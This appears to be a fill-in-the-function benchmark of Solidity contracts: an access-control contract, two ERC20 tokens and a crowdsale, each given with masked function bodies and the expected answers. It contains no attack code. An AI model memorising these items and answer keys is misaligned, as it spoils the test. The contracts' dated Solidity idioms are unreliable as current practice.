contract AccessControl { event accessGranted(address user, uint8 access); // The addresses of the accounts (or contracts) that can execute actions within each roles. mapping(address => mapping(uint8 => bool)) accessRights; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Grants admin (1) access to deployer of the contract constructor() public { accessRights[msg.sender][1] = true; emit accessGranted(msg.sender, 1); } /// @dev Provides access to a determined transaction /// @param _user - user that will be granted the access right /// @param _transaction - transaction that will be granted to user function grantAccess(address _user, uint8 _transaction) public canAccess(1) { require(_user != address(0)); accessRights[_user][_transaction] = true; emit accessGranted(_user, _transaction); } /// @dev Revokes access to a determined transaction /// @param _user - user that will have the access revoked /// @param _transaction - transaction that will be revoked function revokeAccess(address _user, uint8 _transaction) public canAccess(1) { require(_user != address(0)); accessRights[_user][_transaction] = false; } /// @dev Check if user has access to a determined transaction /// @param _user - user /// @param _transaction - transaction function hasAccess(address _user, uint8 _transaction) public view returns (bool) { require(_user != address(0)); return accessRights[_user][_transaction]; } /// @dev Access modifier /// @param _transaction - transaction modifier canAccess(uint8 _transaction) { require(accessRights[msg.sender][_transaction]); _; } /// @dev Drains all Eth function withdrawBalance() external canAccess(2) { msg.sender.transfer(address(this).balance); } /// @dev Drains any ERC20 token accidentally sent to contract function withdrawTokens(address tokenContract) external canAccess(2) {<FILL_FUNCTION_BODY> } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() public canAccess(1) whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. function unpause() public canAccess(1) whenPaused { paused = false; } }
contract AccessControl { event accessGranted(address user, uint8 access); // The addresses of the accounts (or contracts) that can execute actions within each roles. mapping(address => mapping(uint8 => bool)) accessRights; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Grants admin (1) access to deployer of the contract constructor() public { accessRights[msg.sender][1] = true; emit accessGranted(msg.sender, 1); } /// @dev Provides access to a determined transaction /// @param _user - user that will be granted the access right /// @param _transaction - transaction that will be granted to user function grantAccess(address _user, uint8 _transaction) public canAccess(1) { require(_user != address(0)); accessRights[_user][_transaction] = true; emit accessGranted(_user, _transaction); } /// @dev Revokes access to a determined transaction /// @param _user - user that will have the access revoked /// @param _transaction - transaction that will be revoked function revokeAccess(address _user, uint8 _transaction) public canAccess(1) { require(_user != address(0)); accessRights[_user][_transaction] = false; } /// @dev Check if user has access to a determined transaction /// @param _user - user /// @param _transaction - transaction function hasAccess(address _user, uint8 _transaction) public view returns (bool) { require(_user != address(0)); return accessRights[_user][_transaction]; } /// @dev Access modifier /// @param _transaction - transaction modifier canAccess(uint8 _transaction) { require(accessRights[msg.sender][_transaction]); _; } /// @dev Drains all Eth function withdrawBalance() external canAccess(2) { msg.sender.transfer(address(this).balance); } <FILL_FUNCTION> /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() public canAccess(1) whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. function unpause() public canAccess(1) whenPaused { paused = false; } }
ERC20 tc = ERC20(tokenContract); tc.transfer(msg.sender, tc.balanceOf(this));
function withdrawTokens(address tokenContract) external canAccess(2)
/// @dev Drains any ERC20 token accidentally sent to contract function withdrawTokens(address tokenContract) external canAccess(2)
80,159
SBIO
null
contract SBIO is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint) { return totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } modifier validTo(address to) { require(to != address(0)); require(to != address(this)); _; } function transferInternal(address from, address to, uint tokens) internal { balances[from] = safeSub(balances[from], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); } function transfer(address to, uint tokens) public validTo(to) returns (bool success) { transferInternal(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public validTo(to) returns (bool success) { allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); transferInternal(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { if (approve(spender, tokens)) { ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } } function () public payable { revert(); } }
contract SBIO is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function totalSupply() public view returns (uint) { return totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } modifier validTo(address to) { require(to != address(0)); require(to != address(this)); _; } function transferInternal(address from, address to, uint tokens) internal { balances[from] = safeSub(balances[from], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); } function transfer(address to, uint tokens) public validTo(to) returns (bool success) { transferInternal(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public validTo(to) returns (bool success) { allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); transferInternal(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { if (approve(spender, tokens)) { ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } } function () public payable { revert(); } }
symbol = "SBIO"; name = "Vector Space Biosciences, Inc."; decimals = 18; totalSupply = 100000000 * 10 ** uint256(decimals); balances[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply);
constructor() public
constructor() public
7,765
ArysumTokens
ArysumTokens
contract ArysumTokens is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ArysumTokens() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ArysumTokens is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "ARYT"; name = "Arysum Tokens"; decimals = 0; _totalSupply = 1000000; balances[0xd873696a3DDA855676777861294820F4f91A39fd] = _totalSupply; Transfer(address(0), 0xd873696a3DDA855676777861294820F4f91A39fd, _totalSupply);
function ArysumTokens() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ArysumTokens() public
31,978
TSBCrowdFundingContract
TSBCrowdFundingContract
contract TSBCrowdFundingContract is NamedOwnedToken{ using SafeMath for uint256; enum CrowdSaleState {NotFinished, Success, Failure} CrowdSaleState public crowdSaleState = CrowdSaleState.NotFinished; uint public fundingGoalUSD = 200000; //Min cap uint public fundingMaxCapUSD = 500000; //Max cap uint public priceUSD = 1; //Price in USD per 1 token uint public USDDecimals = 1 ether; uint public startTime; //crowdfunding start time uint public endTime; //crowdfunding end time uint public bonusEndTime; //crowdfunding end of bonus time uint public selfDestroyTime = 2 weeks; TSBToken public tokenReward; //TSB Token to send uint public ETHPrice = 30000; //Current price of one ETH in USD cents uint public BTCPrice = 400000; //Current price of one BTC in USD cents uint public PriceDecimals = 100; uint public ETHCollected = 0; //Collected sum of ETH uint public BTCCollected = 0; //Collected sum of BTC uint public amountRaisedUSD = 0; //Collected sum in USD uint public TokenAmountToPay = 0; //Number of tokens to distribute (excluding bonus tokens) mapping(address => uint256) public balanceMapPos; struct mapStruct { address mapAddress; uint mapBalanceETH; uint mapBalanceBTC; uint bonusTokens; } mapStruct[] public balanceList; //Array of struct with information about invested sums uint public bonusCapUSD = 100000; //Bonus cap mapping(bytes32 => uint256) public bonusesMapPos; struct bonusStruct { uint balancePos; bool notempty; uint maxBonusETH; uint maxBonusBTC; uint bonusETH; uint bonusBTC; uint8 bonusPercent; } bonusStruct[] public bonusesList; //Array of struct with information about bonuses bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address beneficiary, uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function TSBCrowdFundingContract( uint _startTime, uint durationInHours, string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public {<FILL_FUNCTION_BODY> } function SetStartTime(uint startT, uint durationInHours) public onlyOwner { startTime = startT; bonusEndTime = startT+ 24 hours; endTime = startT + (durationInHours * 1 hours); } function assignTokenContract(address tok) public onlyOwner { tokenReward = TSBToken(tok); tokenReward.transferOwnership(address(this)); } function () public payable { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; require( withinPeriod && nonZeroPurchase && (crowdSaleState == CrowdSaleState.NotFinished)); uint bonuspos = 0; if (now <= bonusEndTime) { // lastdata = msg.data; bytes32 code = sha3(msg.data); bonuspos = bonusesMapPos[code]; } ReceiveAmount(msg.sender, msg.value, 0, now, bonuspos); } function CheckBTCtransaction() internal constant returns (bool) { return true; } function AddBTCTransactionFromArray (address[] ETHadress, uint[] BTCnum, uint[] TransTime, bytes4[] bonusdata) public onlyOwner { require(ETHadress.length == BTCnum.length); require(TransTime.length == bonusdata.length); require(ETHadress.length == bonusdata.length); for (uint i = 0; i < ETHadress.length; i++) { AddBTCTransaction(ETHadress[i], BTCnum[i], TransTime[i], bonusdata[i]); } } /** * Add transfered BTC, only owner could call * * @param ETHadress The address of ethereum wallet of sender * @param BTCnum the received amount in BTC * 10^18 * @param TransTime the original (BTC) transaction time */ function AddBTCTransaction (address ETHadress, uint BTCnum, uint TransTime, bytes4 bonusdata) public onlyOwner { require(CheckBTCtransaction()); require((TransTime >= startTime) && (TransTime <= endTime)); require(BTCnum != 0); uint bonuspos = 0; if (TransTime <= bonusEndTime) { // lastdata = bonusdata; bytes32 code = sha3(bonusdata); bonuspos = bonusesMapPos[code]; } ReceiveAmount(ETHadress, 0, BTCnum, TransTime, bonuspos); } modifier afterDeadline() { if (now >= endTime) _; } /** * Set price for ETH and BTC, only owner could call * * @param _ETHPrice ETH price in USD cents * @param _BTCPrice BTC price in USD cents */ function SetCryptoPrice(uint _ETHPrice, uint _BTCPrice) public onlyOwner { ETHPrice = _ETHPrice; BTCPrice = _BTCPrice; } /** * Convert sum in ETH plus BTC to USD * * @param ETH ETH sum in wei * @param BTC BTC sum in 10^18 */ function convertToUSD(uint ETH, uint BTC) public constant returns (uint) { uint _ETH = ETH.mul(ETHPrice); uint _BTC = BTC.mul(BTCPrice); return (_ETH+_BTC).div(PriceDecimals); } /** * Calc collected sum in USD */ function collectedSum() public constant returns (uint) { return convertToUSD(ETHCollected,BTCCollected); } /** * Check if min cap was reached (only after finish of crowdfunding) */ function checkGoalReached() public afterDeadline { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingGoalUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } else { crowdSaleState = CrowdSaleState.Failure; } } /** * Check if max cap was reached */ function checkMaxCapReached() public { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingMaxCapUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } } function ReceiveAmount(address investor, uint sumETH, uint sumBTC, uint TransTime, uint bonuspos) internal { require(investor != 0x0); uint pos = balanceMapPos[investor]; if (pos>0) { pos--; assert(pos < balanceList.length); assert(balanceList[pos].mapAddress == investor); balanceList[pos].mapBalanceETH = balanceList[pos].mapBalanceETH.add(sumETH); balanceList[pos].mapBalanceBTC = balanceList[pos].mapBalanceBTC.add(sumBTC); } else { mapStruct memory newStruct; newStruct.mapAddress = investor; newStruct.mapBalanceETH = sumETH; newStruct.mapBalanceBTC = sumBTC; newStruct.bonusTokens = 0; pos = balanceList.push(newStruct); balanceMapPos[investor] = pos; pos--; } // update state ETHCollected = ETHCollected.add(sumETH); BTCCollected = BTCCollected.add(sumBTC); checkBonus(pos, sumETH, sumBTC, TransTime, bonuspos); checkMaxCapReached(); } uint public DistributionNextPos = 0; /** * Distribute tokens to next N participants, only owner could call */ function DistributeNextNTokens(uint n) public payable onlyOwner { require(BonusesDistributed); require(DistributionNextPos<balanceList.length); uint nextpos; if (n == 0) { nextpos = balanceList.length; } else { nextpos = DistributionNextPos.add(n); if (nextpos > balanceList.length) { nextpos = balanceList.length; } } uint TokenAmountToPay_local = TokenAmountToPay; for (uint i = DistributionNextPos; i < nextpos; i++) { uint USDbalance = convertToUSD(balanceList[i].mapBalanceETH, balanceList[i].mapBalanceBTC); uint tokensCount = USDbalance.mul(priceUSD); tokenReward.mintToken(balanceList[i].mapAddress, tokensCount + balanceList[i].bonusTokens); TokenAmountToPay_local = TokenAmountToPay_local.sub(tokensCount); balanceList[i].mapBalanceETH = 0; balanceList[i].mapBalanceBTC = 0; } TokenAmountToPay = TokenAmountToPay_local; DistributionNextPos = nextpos; } function finishDistribution() onlyOwner { require ((TokenAmountToPay == 0)||(DistributionNextPos >= balanceList.length)); // tokenReward.finishMinting(); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Withdraw the funds * * Checks to see if goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() public afterDeadline { require(crowdSaleState == CrowdSaleState.Failure); uint pos = balanceMapPos[msg.sender]; require((pos>0)&&(pos<=balanceList.length)); pos--; uint amount = balanceList[pos].mapBalanceETH; balanceList[pos].mapBalanceETH = 0; if (amount > 0) { msg.sender.transfer(amount); FundTransfer(msg.sender, amount, false); } } /** * If something goes wrong owner could destroy the contract after 2 weeks from the crowdfunding end * In this case the token distribution or sum refund will be performed in mannual */ function killContract() public onlyOwner { require(now >= endTime + selfDestroyTime); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Add a new bonus code, only owner could call */ function AddBonusToListFromArray(bytes32[] bonusCode, uint[] ETHsumInFinney, uint[] BTCsumInFinney) public onlyOwner { require(bonusCode.length == ETHsumInFinney.length); require(bonusCode.length == BTCsumInFinney.length); for (uint i = 0; i < bonusCode.length; i++) { AddBonusToList(bonusCode[i], ETHsumInFinney[i], BTCsumInFinney[i] ); } } /** * Add a new bonus code, only owner could call */ function AddBonusToList(bytes32 bonusCode, uint ETHsumInFinney, uint BTCsumInFinney) public onlyOwner { uint pos = bonusesMapPos[bonusCode]; if (pos > 0) { pos -= 1; bonusesList[pos].maxBonusETH = ETHsumInFinney * 1 finney; bonusesList[pos].maxBonusBTC = BTCsumInFinney * 1 finney; } else { bonusStruct memory newStruct; newStruct.balancePos = 0; newStruct.notempty = false; newStruct.maxBonusETH = ETHsumInFinney * 1 finney; newStruct.maxBonusBTC = BTCsumInFinney * 1 finney; newStruct.bonusETH = 0; newStruct.bonusBTC = 0; newStruct.bonusPercent = 20; pos = bonusesList.push(newStruct); bonusesMapPos[bonusCode] = pos; } } bool public BonusesDistributed = false; uint public BonusCalcPos = 0; // bytes public lastdata; function checkBonus(uint newBalancePos, uint sumETH, uint sumBTC, uint TransTime, uint pos) internal { if (pos > 0) { pos--; if (!bonusesList[pos].notempty) { bonusesList[pos].balancePos = newBalancePos; bonusesList[pos].notempty = true; } else { if (bonusesList[pos].balancePos != newBalancePos) return; } bonusesList[pos].bonusETH = bonusesList[pos].bonusETH.add(sumETH); // if (bonusesList[pos].bonusETH > bonusesList[pos].maxBonusETH) // bonusesList[pos].bonusETH = bonusesList[pos].maxBonusETH; bonusesList[pos].bonusBTC = bonusesList[pos].bonusBTC.add(sumBTC); // if (bonusesList[pos].bonusBTC > bonusesList[pos].maxBonusBTC) // bonusesList[pos].bonusBTC = bonusesList[pos].maxBonusBTC; } } /** * Calc the number of bonus tokens for N next bonus participants, only owner could call */ function calcNextNBonuses(uint N) public onlyOwner { require(crowdSaleState == CrowdSaleState.Success); require(!BonusesDistributed); uint nextPos = BonusCalcPos + N; if (nextPos > bonusesList.length) nextPos = bonusesList.length; uint bonusCapUSD_local = bonusCapUSD; for (uint i = BonusCalcPos; i < nextPos; i++) { if ((bonusesList[i].notempty) && (bonusesList[i].balancePos < balanceList.length)) { uint maxbonus = convertToUSD(bonusesList[i].maxBonusETH, bonusesList[i].maxBonusBTC); uint bonus = convertToUSD(bonusesList[i].bonusETH, bonusesList[i].bonusBTC); if (maxbonus < bonus) bonus = maxbonus; bonus = bonus.mul(priceUSD); if (bonusCapUSD_local >= bonus) { bonusCapUSD_local = bonusCapUSD_local - bonus; } else { bonus = bonusCapUSD_local; bonusCapUSD_local = 0; } bonus = bonus.mul(bonusesList[i].bonusPercent) / 100; balanceList[bonusesList[i].balancePos].bonusTokens = bonus; if (bonusCapUSD_local == 0) { BonusesDistributed = true; break; } } } bonusCapUSD = bonusCapUSD_local; BonusCalcPos = nextPos; if (nextPos >= bonusesList.length) { BonusesDistributed = true; } } }
contract TSBCrowdFundingContract is NamedOwnedToken{ using SafeMath for uint256; enum CrowdSaleState {NotFinished, Success, Failure} CrowdSaleState public crowdSaleState = CrowdSaleState.NotFinished; uint public fundingGoalUSD = 200000; //Min cap uint public fundingMaxCapUSD = 500000; //Max cap uint public priceUSD = 1; //Price in USD per 1 token uint public USDDecimals = 1 ether; uint public startTime; //crowdfunding start time uint public endTime; //crowdfunding end time uint public bonusEndTime; //crowdfunding end of bonus time uint public selfDestroyTime = 2 weeks; TSBToken public tokenReward; //TSB Token to send uint public ETHPrice = 30000; //Current price of one ETH in USD cents uint public BTCPrice = 400000; //Current price of one BTC in USD cents uint public PriceDecimals = 100; uint public ETHCollected = 0; //Collected sum of ETH uint public BTCCollected = 0; //Collected sum of BTC uint public amountRaisedUSD = 0; //Collected sum in USD uint public TokenAmountToPay = 0; //Number of tokens to distribute (excluding bonus tokens) mapping(address => uint256) public balanceMapPos; struct mapStruct { address mapAddress; uint mapBalanceETH; uint mapBalanceBTC; uint bonusTokens; } mapStruct[] public balanceList; //Array of struct with information about invested sums uint public bonusCapUSD = 100000; //Bonus cap mapping(bytes32 => uint256) public bonusesMapPos; struct bonusStruct { uint balancePos; bool notempty; uint maxBonusETH; uint maxBonusBTC; uint bonusETH; uint bonusBTC; uint8 bonusPercent; } bonusStruct[] public bonusesList; //Array of struct with information about bonuses bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address beneficiary, uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); <FILL_FUNCTION> function SetStartTime(uint startT, uint durationInHours) public onlyOwner { startTime = startT; bonusEndTime = startT+ 24 hours; endTime = startT + (durationInHours * 1 hours); } function assignTokenContract(address tok) public onlyOwner { tokenReward = TSBToken(tok); tokenReward.transferOwnership(address(this)); } function () public payable { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; require( withinPeriod && nonZeroPurchase && (crowdSaleState == CrowdSaleState.NotFinished)); uint bonuspos = 0; if (now <= bonusEndTime) { // lastdata = msg.data; bytes32 code = sha3(msg.data); bonuspos = bonusesMapPos[code]; } ReceiveAmount(msg.sender, msg.value, 0, now, bonuspos); } function CheckBTCtransaction() internal constant returns (bool) { return true; } function AddBTCTransactionFromArray (address[] ETHadress, uint[] BTCnum, uint[] TransTime, bytes4[] bonusdata) public onlyOwner { require(ETHadress.length == BTCnum.length); require(TransTime.length == bonusdata.length); require(ETHadress.length == bonusdata.length); for (uint i = 0; i < ETHadress.length; i++) { AddBTCTransaction(ETHadress[i], BTCnum[i], TransTime[i], bonusdata[i]); } } /** * Add transfered BTC, only owner could call * * @param ETHadress The address of ethereum wallet of sender * @param BTCnum the received amount in BTC * 10^18 * @param TransTime the original (BTC) transaction time */ function AddBTCTransaction (address ETHadress, uint BTCnum, uint TransTime, bytes4 bonusdata) public onlyOwner { require(CheckBTCtransaction()); require((TransTime >= startTime) && (TransTime <= endTime)); require(BTCnum != 0); uint bonuspos = 0; if (TransTime <= bonusEndTime) { // lastdata = bonusdata; bytes32 code = sha3(bonusdata); bonuspos = bonusesMapPos[code]; } ReceiveAmount(ETHadress, 0, BTCnum, TransTime, bonuspos); } modifier afterDeadline() { if (now >= endTime) _; } /** * Set price for ETH and BTC, only owner could call * * @param _ETHPrice ETH price in USD cents * @param _BTCPrice BTC price in USD cents */ function SetCryptoPrice(uint _ETHPrice, uint _BTCPrice) public onlyOwner { ETHPrice = _ETHPrice; BTCPrice = _BTCPrice; } /** * Convert sum in ETH plus BTC to USD * * @param ETH ETH sum in wei * @param BTC BTC sum in 10^18 */ function convertToUSD(uint ETH, uint BTC) public constant returns (uint) { uint _ETH = ETH.mul(ETHPrice); uint _BTC = BTC.mul(BTCPrice); return (_ETH+_BTC).div(PriceDecimals); } /** * Calc collected sum in USD */ function collectedSum() public constant returns (uint) { return convertToUSD(ETHCollected,BTCCollected); } /** * Check if min cap was reached (only after finish of crowdfunding) */ function checkGoalReached() public afterDeadline { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingGoalUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } else { crowdSaleState = CrowdSaleState.Failure; } } /** * Check if max cap was reached */ function checkMaxCapReached() public { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingMaxCapUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } } function ReceiveAmount(address investor, uint sumETH, uint sumBTC, uint TransTime, uint bonuspos) internal { require(investor != 0x0); uint pos = balanceMapPos[investor]; if (pos>0) { pos--; assert(pos < balanceList.length); assert(balanceList[pos].mapAddress == investor); balanceList[pos].mapBalanceETH = balanceList[pos].mapBalanceETH.add(sumETH); balanceList[pos].mapBalanceBTC = balanceList[pos].mapBalanceBTC.add(sumBTC); } else { mapStruct memory newStruct; newStruct.mapAddress = investor; newStruct.mapBalanceETH = sumETH; newStruct.mapBalanceBTC = sumBTC; newStruct.bonusTokens = 0; pos = balanceList.push(newStruct); balanceMapPos[investor] = pos; pos--; } // update state ETHCollected = ETHCollected.add(sumETH); BTCCollected = BTCCollected.add(sumBTC); checkBonus(pos, sumETH, sumBTC, TransTime, bonuspos); checkMaxCapReached(); } uint public DistributionNextPos = 0; /** * Distribute tokens to next N participants, only owner could call */ function DistributeNextNTokens(uint n) public payable onlyOwner { require(BonusesDistributed); require(DistributionNextPos<balanceList.length); uint nextpos; if (n == 0) { nextpos = balanceList.length; } else { nextpos = DistributionNextPos.add(n); if (nextpos > balanceList.length) { nextpos = balanceList.length; } } uint TokenAmountToPay_local = TokenAmountToPay; for (uint i = DistributionNextPos; i < nextpos; i++) { uint USDbalance = 